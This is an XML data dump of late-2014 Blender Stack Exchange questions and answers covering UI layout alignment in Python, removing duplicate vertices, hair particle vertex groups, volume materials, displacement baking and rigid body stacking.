  <row Id="19371" PostTypeId="1" AcceptedAnswerId="19374" CreationDate="2014-11-30T11:26:27.997" Score="2" ViewCount="232" Body="&lt;p&gt;Is there a way to &quot;glue&quot; input fields together in Python, like in the Properties &gt; Render &gt; Resolution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EA9WS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a layout box, it's not a IntVector... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was surprised to see in how many ways a FloatVector can be displayed (e.g. numbers, RGB, RGBA, ...). Perhaps I missed an option somewhere?&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2014-11-30T13:52:20.087" Title="Howto &quot;glue&quot; input fields?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19372" PostTypeId="2" ParentId="19338" CreationDate="2014-11-30T11:27:27.550" Score="3" Body="&lt;p&gt;There are two problems with your mesh that I can see.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in Edit Mode, you can select a face along the rim and move it to see that there is another layer in the same spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAV6k.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clean up the overlapping faces you can use the Remove Doubles tool since all the vertices are in exactly the same places.  It's available in the Toolshelf and can also be accessed by pressing &lt;kbd&gt;w&lt;/kbd&gt; to access the Specials menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OOWBW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you may see an big mess because some of the faces are inside out and I have backface culling disabled so I can spot errors like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wgayv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;n&lt;/kbd&gt; will make the normals consistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aGcVZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After recalculating the normals, the inside face of the glass is backwards.  By hovering over one of it's vertices and pressing &lt;kbd&gt;l&lt;/kbd&gt; you can select the entire piece at once as shown below.  Next you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;f&lt;/kbd&gt; to access the Faces menu and choose Flip Normals.  The previous image shows where the tool is located in the Toolshelf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZCxsF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the second problem that you mesh has.  For the Glass Shader to function correctly, the mesh should be completely enclosed.  As it is now, there is no rim and this should be filled in.  You can do this easily by holding &lt;kbd&gt;Alt&lt;/kbd&gt; and clicking the Edge.  Next press and hold &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; then Click the second Edge to add to the selection.  Now you can press &lt;kbd&gt;Space&lt;/kbd&gt; and type in find the Bridge Edge Loops tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lsz5q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The black inky blobs you see are shadows and I have no idea how to clean that up without disabling shadows for the entire scene.  If you figure that out, feel free to share your results. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xsicj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added an Environment texture and a couple extra lights since Glass tends to look better when there are surroundings to reflect and refract.  Here are the render settings I used except that I increased the Samples to 1024.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KJ97Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the ground plane is actually two ground planes that are overlapping.&#xA;The next image shows one of the two ground planes moved down to show it's there.  It's something that you should always  watch out for because it will cause rendering artifacts if geometry overlaps like this.  With Object Mode overlaps this is easy to fix, just delete it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LwiQO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-12-01T00:43:23.357" LastActivityDate="2014-12-01T00:43:23.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19373" PostTypeId="2" ParentId="19338" CreationDate="2014-11-30T11:28:36.120" Score="0" Body="&lt;p&gt;You have a lot of duplicated vertices!(762 per glass, to be precise) so what you see as smudges is a bad case of &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Z-fighting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z fighting&lt;/a&gt;&lt;/strong&gt;. go to edit mode, select all vertices and do &quot;remove doubles&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lG2x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-11-30T11:28:36.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19374" PostTypeId="2" ParentId="19371" CreationDate="2014-11-30T12:24:52.287" Score="5" Body="&lt;p&gt;This is an excerpt from &lt;code&gt;properties_render.py&lt;/code&gt;. You can right click the property and choose &lt;code&gt;Edit Source&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The properties are drawn using &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.UILayout.html?highlight=uilayout#bpy.types.UILayout.column&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;UILayout.column()&lt;/code&gt;&lt;/a&gt;. Specifically, it is the &lt;code&gt;align=True&lt;/code&gt;, a property of the column, which causes the properties to appear to be 'glued' together.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    layout = self.layout&#xA;&#xA;    scene = context.scene&#xA;    rd = scene.render&#xA;&#xA;    row = layout.row(align=True)&#xA;    row.menu(&quot;RENDER_MT_presets&quot;, text=bpy.types.RENDER_MT_presets.bl_label)&#xA;    row.operator(&quot;render.preset_add&quot;, text=&quot;&quot;, icon='ZOOMIN')&#xA;    row.operator(&quot;render.preset_add&quot;, text=&quot;&quot;, icon='ZOOMOUT').remove_active = True&#xA;&#xA;    split = layout.split()&#xA;&#xA;    col = split.column()&#xA;    sub = col.column(align=True)&#xA;    sub.label(text=&quot;Resolution:&quot;)&#xA;    sub.prop(rd, &quot;resolution_x&quot;, text=&quot;X&quot;)&#xA;    sub.prop(rd, &quot;resolution_y&quot;, text=&quot;Y&quot;)&#xA;    sub.prop(rd, &quot;resolution_percentage&quot;, text=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="241" LastEditDate="2014-11-30T13:52:20.087" LastActivityDate="2014-11-30T13:52:20.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19375" PostTypeId="1" CreationDate="2014-11-30T12:57:21.050" Score="2" ViewCount="12261" Body="&lt;p&gt;I'm trying to add hair to my model in Blender, but when I try to make the hair emit from only one place by using the tools in &quot;Object Data: Vertex Groups&quot; or by using Weight Paint, the hair doesn't move to where I painted, but stays in the same place. I tried using both version 2.67 and 2.72. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerDisplayName="user8258" LastActivityDate="2014-12-01T12:30:05.013" Title="(Placement of hair)Hair particles ignores Weight Paint and Vertex Groups" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19377" PostTypeId="2" ParentId="19375" CreationDate="2014-11-30T13:20:49.537" Score="3" Body="&lt;p&gt;Assign the selected vertex group and name it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8wdJf.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Go to the &lt;em&gt;'Particles Menu'&lt;/em&gt; header and input the vertex group name in the &lt;em&gt;Density&lt;/em&gt; window (located in 'Vertex Grops' panel).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F51h4.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Edited:&lt;/p&gt;&#xA;&lt;p&gt;I've checked your model and found the solution. In your case you have to &lt;strong&gt;place the &lt;em&gt;'Particle system'&lt;/em&gt; modifiers over the &lt;em&gt;'Mirror'&lt;/em&gt; modifier&lt;/strong&gt;. As you can see below, the beard and tail particles are now assigned to the right vertex groups.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zsRwf.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I can advise you few more things. Before adding the hair particles to your model, make sure that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it has a good topology&lt;/li&gt;&#xA;&lt;li&gt;the double vertices are removed (in 'Edit Mode' press &lt;kbd&gt;W&lt;/kbd&gt;--&amp;gt; Remove Doubles)&lt;/li&gt;&#xA;&lt;li&gt;the normals are facing the right side (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; in 'Edit Mode')&lt;/li&gt;&#xA;&lt;li&gt;the location, rotation and scale is applied (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; in 'Object Mode')&lt;/li&gt;&#xA;&lt;li&gt;there are no ngons, non manifold elements, interior faces (you can check it very fast using a &lt;em&gt;'Mesh Lint'&lt;/em&gt; addon)&lt;/li&gt;&#xA;&lt;li&gt;the 'Mirror Modifier is applied&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-01T12:30:05.013" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19378" PostTypeId="1" AcceptedAnswerId="19429" CreationDate="2014-11-30T13:33:11.323" Score="4" ViewCount="927" Body="&lt;p&gt;I am creating procedural clouds in Blender Cycles as shown in this tutorial: &lt;a href=&quot;https://www.youtube.com/watch?v=Ba18cwDSAsk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=Ba18cwDSAsk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I would like to create a series of them, so as to generate a tileable picture, using an addon from stuffmatic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am encountering is that the procedural cloud material is still &quot;opaque&quot; somehow, it blocks the view from the cubes in the background, as seen in the attached screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://williamjohnson.eu/Stack_Exchange_imgs/procedural_clouds_opaque.png&quot; rel=&quot;nofollow&quot;&gt;http://williamjohnson.eu/Stack_Exchange_imgs/procedural_clouds_opaque.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played around with the nodes, tried to put a Translucent and/or transparent node in the &quot;surface&quot; output of the shader, but it didn't work. I also tried masking the cube somehow to keep only the volume but I didn't succedd either... Also tried changing some camera and rendering options but didn't help either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds strange that volume only materials have opaque surfaces, anyone had this problem before ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints are welcome :) Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="8259" LastActivityDate="2014-12-01T23:27:51.373" Title="blender volume material has opaque surface" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19380" PostTypeId="2" ParentId="18409" CreationDate="2014-11-30T14:19:36.673" Score="2" Body="&lt;p&gt;You could use a cube, to scale it that it has a volume of 500ml, calculate the 3rd root of 500 ~ 7.93 (this should be the edge-length) scale the cube to this size.&#xA;For a bottle you might want to model a funnel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the fluid simulation setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the cube as fluid&lt;/li&gt;&#xA;&lt;li&gt;The vessel as obstacle&lt;/li&gt;&#xA;&lt;li&gt;The funnel as obstacle&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For all set the &lt;em&gt;Rigid Body Collisions shape&lt;/em&gt; as Mesh.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a domain object as domain&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the rigid body types to passive otherwise they will fall down.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the resolution to ~90 (more would be better but extremely time consuming)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bake the fluid sim.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nm1ek.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After filling your vessel you can use the methods on exact measure as described here:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/274/how-to-model-effectively-using-exact-measurements&quot;&gt;How to model effectively using exact measurements?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of pasting all settings I uploaded the &lt;a href=&quot;http://pasteall.org/blend/33129&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-11-30T14:19:36.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19381" PostTypeId="1" CreationDate="2014-11-30T15:07:30.687" Score="2" ViewCount="162" Body="&lt;p&gt;For my game I would like to create an impass map from an image-file, so I don't have to manually set every cell to passable or impassable, but I just cannot figure out any way of reading an image file to feed a library.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have guessed the VideoTexture module is the way to go, but even the simplest experiments couldn't give me any results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(bge.texture.ImageFFmpeg(logic.expandPath('//image.png')).valid)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only prints &lt;code&gt;False&lt;/code&gt; even though the image.png is in the same folder like the .blend file. Am I doing it wrong? Or would you recommend a completely different approach for this matter? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I need a method to create a dynamically changable map where my characters find their way through with path-finding.&lt;/p&gt;&#xA;" OwnerUserId="8191" LastEditorUserId="8191" LastEditDate="2014-12-02T18:13:20.927" LastActivityDate="2014-12-02T18:13:20.927" Title="Is there an easy way to read an image file to create ingame map data?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19382" PostTypeId="1" AcceptedAnswerId="19388" CreationDate="2014-11-30T15:41:05.000" Score="3" ViewCount="1682" Body="&lt;p&gt;For some reason some of my materials and textures aren't rendering when I do a full render (or even in the render viewport). I've attached an image below to demonstrate. Notice the front window frame and shutters are not rendering much texture at all. When I select the object in the viewport, all of a sudden the material renders. If I deselect, it goes back to the default gray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z4Gvt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;I'm thinking it has something to do with these objects being &quot;alt-D&quot; duplicated instead of &quot;shift-D&quot;. Could this be?&lt;/p&gt;&#xA;" OwnerUserId="8041" LastEditorUserId="8041" LastEditDate="2014-11-30T15:53:12.877" LastActivityDate="2014-12-01T04:27:01.207" Title="Some Materials Not Rendering, But They Are Applied" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19383" PostTypeId="1" CreationDate="2014-11-30T19:29:49.697" Score="0" ViewCount="86" Body="&lt;p&gt;I am pretty new to Blender (currently working on my 3rd model). I need to tidy up the in/underside of the model to help reduce the impact on performance in the game it will be going into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0PDtb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can use the flat face to slice the crystalline structures to make new edges so I can delete the unwanted sections?&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2014-11-30T23:53:39.250" Title="Can you use a face to slice other faces?" Tags="&lt;editing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19384" PostTypeId="2" ParentId="19328" CreationDate="2014-11-30T19:36:27.793" Score="3" Body="&lt;p&gt;Use a scale node and set the type from relative to render size. This automatically changes the resolution of the image to the render size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then change the method of scaling to fit your needs, stretch will probably be decent in most cases, but if not, you can always try fit. Crop will look the same compared to what you're already getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EhfvE.png&quot; alt=&quot;Basic example node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-06-24T03:02:50.880" LastActivityDate="2015-06-24T03:02:50.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19385" PostTypeId="1" CreationDate="2014-11-30T19:42:09.503" Score="7" ViewCount="797" Body="&lt;p&gt;I have a function which assigns to &quot;every&quot; point in space &lt;code&gt;(x,y,z)&lt;/code&gt; a scalar value &lt;code&gt;d&lt;/code&gt;. I want to, somehow, visualize this function using Blender. This could be done with interpreting the value &lt;code&gt;d&lt;/code&gt; as some kind of density and rendering coloured glass which absorbs more light at higher density values and seems transparent at lower density values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the material type &lt;code&gt;Volume&lt;/code&gt; to be in the proximity of what I am looking for but I do not know how to control the density at the points in space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone an idea how to do this? Some solution with python is desirable.&lt;/p&gt;&#xA;" OwnerUserId="5568" LastEditorUserId="5568" LastEditDate="2014-11-30T20:07:38.967" LastActivityDate="2014-12-01T14:26:25.717" Title="Render 3 dimensional scalar field" Tags="&lt;python&gt;&lt;rendering&gt;&lt;volumetrics&gt;&lt;point-clouds&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19386" PostTypeId="2" ParentId="15686" CreationDate="2014-11-30T20:04:58.987" Score="0" Body="&lt;p&gt;I am not sure if you want ANY rigid body, colliding with any other else rigid body in your scene, to emit particles (i'd love that too), but if the interactions aren't too complex, i guess &lt;a href=&quot;https://www.youtube.com/watch?v=Tckapb1Rtgk#t=293&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; could fit your needs.&lt;/p&gt;&#xA;" OwnerUserId="7862" LastActivityDate="2014-11-30T20:04:58.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19387" PostTypeId="1" AcceptedAnswerId="19394" CreationDate="2014-11-30T20:45:07.653" Score="10" ViewCount="520" Body="&lt;p&gt;I'm new to blender and actually amazed from the possibilities it provides. I successfully created a set of boxes (like domino tiles) that fall in a chain reaction. (Like in this answer: &lt;a href=&quot;https://blender.stackexchange.com/a/7111/8260&quot;&gt;https://blender.stackexchange.com/a/7111/8260&lt;/a&gt;).&lt;br&gt;&#xA;When I did this there was a tiny fall of the tiles (about 0.001cm) and very quickly they stood still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, Now I want to build a +30 tiles height building (and see them fall :-) ), but even though I put the tile one over another with precise mathematical positioning they still have an initial shake, so a 5 floor tower stands, but a high tower just falls by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tower I am tring to build looks like this:&lt;br&gt;&#xA;&lt;em&gt;(this is an example of 5 floor tower, each floor has 2 vertical tiles and one horizontal)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__&#xA;||&#xA;__&#xA;||&#xA;__&#xA;||&#xA;__&#xA;||&#xA;__&#xA;||&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is - how can I position this kind of building with 30 floors or more without get the &quot;initial shake&quot; when starting the simulation - I want the building to fall only when it gets hit.&lt;/p&gt;&#xA;" OwnerUserId="8260" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2018-11-15T09:34:03.890" Title="How to build building that is made of small pieces - how to correctly put rigid body over rigid body?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19388" PostTypeId="2" ParentId="19382" CreationDate="2014-11-30T21:14:43.507" Score="5" Body="&lt;p&gt;Some of your objects are duplicated.  In your .blend file, I selected one of the window shutters having problems showing materials.  I moved it away, and found there was still a shutter there.  One had material, and the other didn't.  Coinciding surfaces are unpredictable - you'll see parts of one and parts of the other mixed up, and exactly what you see  may change with camera position and viewpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution is to find and delete those duplicate objects.  &lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="3401" LastEditDate="2014-12-01T04:27:01.207" LastActivityDate="2014-12-01T04:27:01.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19389" PostTypeId="1" CreationDate="2014-11-30T23:29:02.610" Score="2" ViewCount="345" Body="&lt;p&gt;While working in Blender 2.72b Internal mode, I built this simple model  &lt;img src=&quot;https://i.stack.imgur.com/Xu4UX.png&quot; alt=&quot;starting point for first displacement map baking&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used these settings to bake the displacement map  &lt;img src=&quot;https://i.stack.imgur.com/WCNQZ.png&quot; alt=&quot;displacement map bake settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this result after baking and using the Displacement Modifier, along with a few more modifiers... Note that I applied the Displacement Modifier shortly after I set it up.  &lt;img src=&quot;https://i.stack.imgur.com/4pCJg.png&quot; alt=&quot;Displace result with other modifiers&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/552An.png&quot; alt=&quot;Modifier Stack&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK. So I was happy with the results I was getting in my initial study, so then I decided to keep building on this process. I built a more elaborate model, set up like this:  &lt;img src=&quot;https://i.stack.imgur.com/VONAC.png&quot; alt=&quot;second displacement model&quot;&gt;&#xA;here are my results with a few more modifiers in the stack&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e8NiB.png&quot; alt=&quot;result of second attempt with displacement map baking&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lc4V9.png&quot; alt=&quot;modifiers used on second model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time passes as I work with the model. At this point I make a full copy of the scene so that I can branch off on a new idea with these current assets. I bake the previous model the same way I have been, with these results:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oEItB.png&quot; alt=&quot;result of third model&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/AeFAf.png&quot; alt=&quot;modifiers used&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I want to move to Cycles Mode so that I can start building materials, light the scene and give it a render.&#xA;Now I am in Cycles with a material applied, lights and camera set:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h7n4S.png&quot; alt=&quot;cycles material setup&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J1nIy.png&quot; alt=&quot;render settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result of the rendering:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u9wlI.jpg&quot; alt=&quot;render result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's not pretty, but when I came back to the project a little while later, all of my displacement maps have vanished. My models and displacement maps look like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wYFiy.png&quot; alt=&quot;displacement maps are empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5fFmo.png&quot; alt=&quot;this one too!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been working through all of my steps again so that I can capture screenshots and write this post; as of now my second set of baked Displacement maps have all turned black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are displacement maps temporary, only to be applied shortly after baking? Or is something happening after switching to Cycles, and then rendering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what is going on here? Is this a bug or a known feature?&#xA;Any help would be great, thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Joshua&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. sorry for the long post, this was just not a good user experience for me and I want to help improve it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aw2mB.png&quot; alt=&quot;Blender 2.72&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nuieP.png&quot; alt=&quot;my Mac&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1cukV.png&quot; alt=&quot;system overview&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5944" LastActivityDate="2015-02-11T07:44:06.933" Title="vanishing displacement maps shortly after baking" Tags="&lt;modifiers&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19390" PostTypeId="2" ParentId="19218" CreationDate="2014-11-30T23:29:57.617" Score="0" Body="&lt;p&gt;I don't think it's possible without a cumbersome LibLoad setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can use separate collision objects as a workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Assumes the visual mesh is no-collision and the collision mesh holds logic&#xA;ob.replaceMesh('visualobject')&#xA;ob['collision'].endObject()&#xA;ob['collision'] = scene.addObject('collisionobject', ob)&#xA;ob.setParent(ob['collision'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/19279604/const/replacemesh.blend&quot; rel=&quot;nofollow&quot;&gt;Example blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-11-30T23:29:57.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19391" PostTypeId="2" ParentId="19383" CreationDate="2014-11-30T23:53:39.250" Score="1" Body="&lt;p&gt;There are two methods that are standing out to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is the boolean modifier. For this, you need to make the crystalline structures a separate object. Than add a boolean modifier to one of the objects and use the union type. This will actually join the objects, the downsides are that it can create sloppy topology so it really depends on how willing you are to have n-gons and triangles in your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other one is the intersect tool which is new with 2.72. For this you need to be in edit mode and have everything selected. The easiest way to find it is to use the spacebar search menu. Just search &quot;intersect&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a demo on the intersect tool:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=-rwvxusuJXU&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't join the two meshes like the boolean modifier, but instead it puts the verts where they need to be and leaves the user up to deciding what to do with the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2014-11-30T23:53:39.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
